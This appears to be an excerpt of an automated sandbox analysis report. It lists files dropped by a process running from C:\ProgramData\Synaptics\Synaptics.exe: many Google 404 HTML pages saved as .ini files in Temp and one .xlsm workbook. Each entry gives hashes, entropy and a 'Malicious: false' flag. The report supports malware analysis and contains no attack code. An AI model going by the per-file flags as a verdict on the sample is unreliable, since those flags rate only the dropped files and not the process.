SSDEEP:	24:GgsF+0PSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	D468158A3E788C90126E12ACCBCF64D9
SHA1:	99981DFA712888ED95F4D3F7CAF142AD5BABBA01
SHA-256:	F405FC145031A7E5EC3C0270069AB938B781B0205D61D6496AD43179329E0125
SHA-512:	0EFBC04229E8E173441A22D43777BB8565CD1AF4379F326B920E1D6EEFD58B2806219EDB8C6B82D13FEAB724604744CB5C881E0D5D8352C16DEFD7DF984F4F17
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0bjp9FmqwH3Ev_dK5O7k_A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8uUCrn3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2608598360129895
Encrypted:	false
SSDEEP:	24:GgsF+0SX3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7X3+pAZewRDK4mW
MD5:	5B68145FCB83DB345B1E5D7371787A9D
SHA1:	81A01080CDDBD92A626B19B3C2C0A8FE41A65DC6
SHA-256:	DD49C2E97550BD067DCF9AB8F49B749493B64653E4BA588732EA53011E3DE38F
SHA-512:	AFFFBEEC6A71C2D3678C1AE01802761349A44CC4DAF8DBE66D6B74ACBCBF1A571A8E73FFD66BFE98005B20F5AF01C8F31409238CDD9C92EC73EC65A5ACCA05A6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jiomDuupbjjij2JWFbBz7A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\9i67SF1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252174327696354
Encrypted:	false
SSDEEP:	24:GgsF+0AOsSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+nl+pAZewRDK4mW
MD5:	651B1562B0D44C44F2FCA4CF65D09445
SHA1:	6B304CF788A980A72AC2CDD7CDF1FB47AB2AEDF8
SHA-256:	F5FDB8C08466722FFCCF12EF32C8915E4A6C7B11FA16F8065C47218311B80861
SHA-512:	28CB8BEE5DEEFD935CC898AE70E1D35839BEB825BC4B5DD1A92E802F1027C5DFA6E38B7326097E4692A69E3438E26F607026A85E605382EE2BCFAC8A2DF84BF6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="A6kB5ir30TcgpwaKOS8d0g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AFZmMg4.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269267449655726
Encrypted:	false
SSDEEP:	24:GgsF+0rxSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+O+pAZewRDK4mW
MD5:	1C474ED76B131DA45E4A398ED6124EFB
SHA1:	DAFAD514A447CAC83D27AA681C48DCAFA4FEB800
SHA-256:	2CB047BBD42E742A19794D6A18D1BFBAE79F71D9E2B6F4056E90D6597ACABEBF
SHA-512:	79CCBD95C849960FA81ECE063C2F60C8524861968D61BB655FDECC5F679FB63EED19F8EF5B5174C63FC4779C10BFBD90E0CF3D3A9FE2C9FE3761B9624425000B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Jq7pTzaNoMMAWpFGAW00jA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AUttc1w.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259126659036688
Encrypted:	false
SSDEEP:	24:GgsF+08SSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+dS+pAZewRDK4mW
MD5:	5871B2F1DFEFE9C86C6CF8CBB304010E
SHA1:	F4958EAA363A4A94DEA7DD76B4493408D52F721D
SHA-256:	AC115980765CCB16E7D57A10C1B3B189ABC3DD0F3146883C73F7C08693E91832
SHA-512:	67E50A6183A343C711D99B0E56B0226024F19B79EF2F855F620A06710B1991DCEC54F853800345304BCCA381209AA4D10C7B923F9EB968D8601089FD087FC93D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="smTWatFsHkQhVkTlQrrECA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BITaDHx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265312298196955
Encrypted:	false
SSDEEP:	24:GgsF+0/NSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+m+pAZewRDK4mW
MD5:	40A1368A8A527335A6F73FDF44946C1D
SHA1:	7B30947D594343B9C0C46647A399697DC761E46D
SHA-256:	3FF825760BCC6D462208FD4D892AD0AD761AA2A56912B1876587070B68D6C13C
SHA-512:	9A08D1F1F820D97899838ABCCF076B734B96CA53D63638D43F843A11FED973F999D3AF4541FA8F1D438B3FF7D0B4722E028FDEF15F50A52710E87F505DAAEEC6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TcVLNMjwyPo0YKiiQfwWQg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BeDLGL2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259016545216236
Encrypted:	false
SSDEEP:	24:GgsF+0pxSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+mx+pAZewRDK4mW
MD5:	48C60FFD2639C1EA3E99094B1B322C3A
SHA1:	E58AD4EE42EB8E790F6BE0ED6250DA091E894889
SHA-256:	B72E7FD2BD681318BA4E3C19DD5604B066E9FBA083F3242FE95D4F72BDC511B5
SHA-512:	A4A53335CF2403D1D33E7A4432F1F1B14025CED21E8D6FEA1A7BB76904D551715C022A37C7806A7E77DC4CFD79994E48C45B59761301AA3B6FD91A0DE7236BA0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cnL6S0SbtxHbU2zWd2G4Aw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ByLxt1P.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2565083630252385
Encrypted:	false
SSDEEP:	24:GgsF+0jqF5SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x5+pAZewRDK4mW
MD5:	E425E919451E8E90D7C3E26E49F273B4
SHA1:	0AB8E028BBCE4623667F89AE8EB60E333C68E637
SHA-256:	F1656F93399886C75C4D908C183B331B5B6FBF4E948AE61368E2688CF94988F6
SHA-512:	C159A3F1CEAB668759B1907DB4BDE163D29839FA7ECA65272CB5E558A57A53A20A696F23177EF578940D1939D5FEC249ADA823F88741F21071E3935C3CEEF386
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YbaV-rbRsC48tFPye_YbKw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\C9rCjsh.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.274775382024596
Encrypted:	false
SSDEEP:	24:GgsF+0fSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0+pAZewRDK4mW
MD5:	F422A7ACB162D9D02F76CDC3CC4E32B3
SHA1:	0D818F6A433185497FC8BB30E4F9449D6A7B4614
SHA-256:	475DE33147A292CD16D3AEB2BE92F1C06D0AF60E01FC28DD0B3E734238E04B13
SHA-512:	2622DA49EAB689928E97F2ADBFE9EB63ACFA42A31B250AFA23BC138FFCDA4A7E9400528839C93E943B98EB8D3CE9EDB386299708F9F9FA798B6F5D0B165CFD3B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="K9ZF91lQfTySEkkGbRZ3WA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\CAtZlBt.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261831289070459
Encrypted:	false
SSDEEP:	24:GgsF+0UISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7I+pAZewRDK4mW
MD5:	82493A0C68B8E6FFBEBB6BF0DA91F5BB
SHA1:	D7B06D345C7C412B212641DB480DFD235818EE0C
SHA-256:	C824FF973161A59ECEADFED82402EB176C30E5120581772AC0B4362619EB8A1A
SHA-512:	0ADC80FF8CEE9E3F8B0AF0E92DA6839913BECD86F1796297FC6C7ECFA4B53D01170E854A6D65D1DC2D3755D266D1467BA0CF6BC166A4C8A8F18538E19E60534F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="T1B8VJwAfTrRldtSoG3OoA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\CQEB1rY.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262124470732835
Encrypted:	false
SSDEEP:	24:GgsF+0XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+o+pAZewRDK4mW
MD5:	1EF29144B50C1DFC09316BA9ED5D899F
SHA1:	A17344158827F31FB8828C600F2F93F65712AE31
SHA-256:	5638E575D184821603AC75D0C8BD9F956CB3F5656D0C2B5F55A8D60B148E6AC3
SHA-512:	35F7B72A02D3E172B0732E075478520D853489596319803FE6850762BD4062CACBFD50CDB76A24117233FC5A920855CD4CE8AD1A086684860C147F0753559350
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IwlOpBnZXitax4UkAK5BUA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\DTL61gl.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.250841719695637
Encrypted:	false
SSDEEP:	24:GgsF+0KUHSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Q+pAZewRDK4mW
MD5:	7C9AC9688E1140B497E497E0C6CC6E44
SHA1:	6D49BB715FCCF5FA192E5DD4F4DFFBE6CB423417
SHA-256:	1672689B5E49F658816E305D9A5ECE750FA349C04EF62C9E83D4DBD292A063EF
SHA-512:	AF4337A9BAA66AB544EFB925B9D4A61705BFFD2B9EDFF7EEE42B153B44ECCAA3E524D11B0AFCA376F15109982942CC620ABA4128FDB1F234184D8C31F8D89AB6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="e4Aj41oY1qEeA3iVsHenig">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\DuEzNrV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258371340496648
Encrypted:	false
SSDEEP:	24:GgsF+0YSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+v+pAZewRDK4mW
MD5:	C0B1442988CDC34C1307205C2819697C
SHA1:	81B2CD4012EF9B6761C2E253578D22BA8F0121E7
SHA-256:	125CA85DCD995173B3688E6FBF3C228DC18437CDE7E7092187B8BB84742E7CBA
SHA-512:	A3B1ED01C03BEB31F35631AD5DB530C4AE9C55B8B8091C257844BB0D3AB5608121D4413590F6D307F25AF2C2D71D7D49481352D876C852689EC934D8A2E9F9BF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="A9eQco3XZpGAwNe2-EgpjA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EM5YRGNl.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\EfiDWfa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271440507079025
Encrypted:	false
SSDEEP:	24:GgsF+0YSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	5D5E3BE7126389737FDA11312F9FA30D
SHA1:	ED62DB08E117312A9ED66E8975AA9635CA36A257
SHA-256:	A6EC76A586962F62F5DA830CE56AE0CF645652E7B3EC2E49C0E507FEAB4F6EDB
SHA-512:	3B7925B5CA0B133D94E8374378B6D294C05362CB4FC932B9428D0B1DA99F1DDDD3652A3C3FD760F6C3A0F4D5A3714F4FA22C4E607915E2C9D5B75D9229A210BC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3qdmXcIXNus_xRADg6ZLBA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FA92Sc2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2599517607205595
Encrypted:	false
SSDEEP:	24:GgsF+0uSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5+pAZewRDK4mW
MD5:	7A48F18D1709EF9FA42A0DC9CDB58182
SHA1:	B585BE912B3DD2A934AF1D598BD2C185396EA580
SHA-256:	CF0531D5E10C5EF0578B3473EDDE472B1E2A82433A12E5E780A57A52C5674AE7
SHA-512:	7A6749B697286CDE0D01DBE05BD64D4BF477DF0F4C3204B3F482555F58C2B5FA30DD496E61C912CF846FE796FE15D1B8C8079531AC516877A636153972813BDB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GVOn_knE-zz5JdlyS3CZeg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FGhNO3z.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263345109742986
Encrypted:	false
SSDEEP:	24:GgsF+0q/zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+V/z+pAZewRDK4mW
MD5:	48C7BF7021C1CFADDCDAF1C99446CC85
SHA1:	10BBECA2539BD4E46F77140BCDF72C0830147F79
SHA-256:	E564C1D328D7B913B2370C5D444A26DB610BD347E94CABAC7A5CF0EE54D91730
SHA-512:	3A36C947B930C9FA398B4282A4C506A9D0E6B9D12B88B6B16F408EDE7A7D885CCEF75B9CA9BC1CCB5795DE2E60B0432E373B3E44E6086D9144CF5F50518BDBFE
Malicious:	false
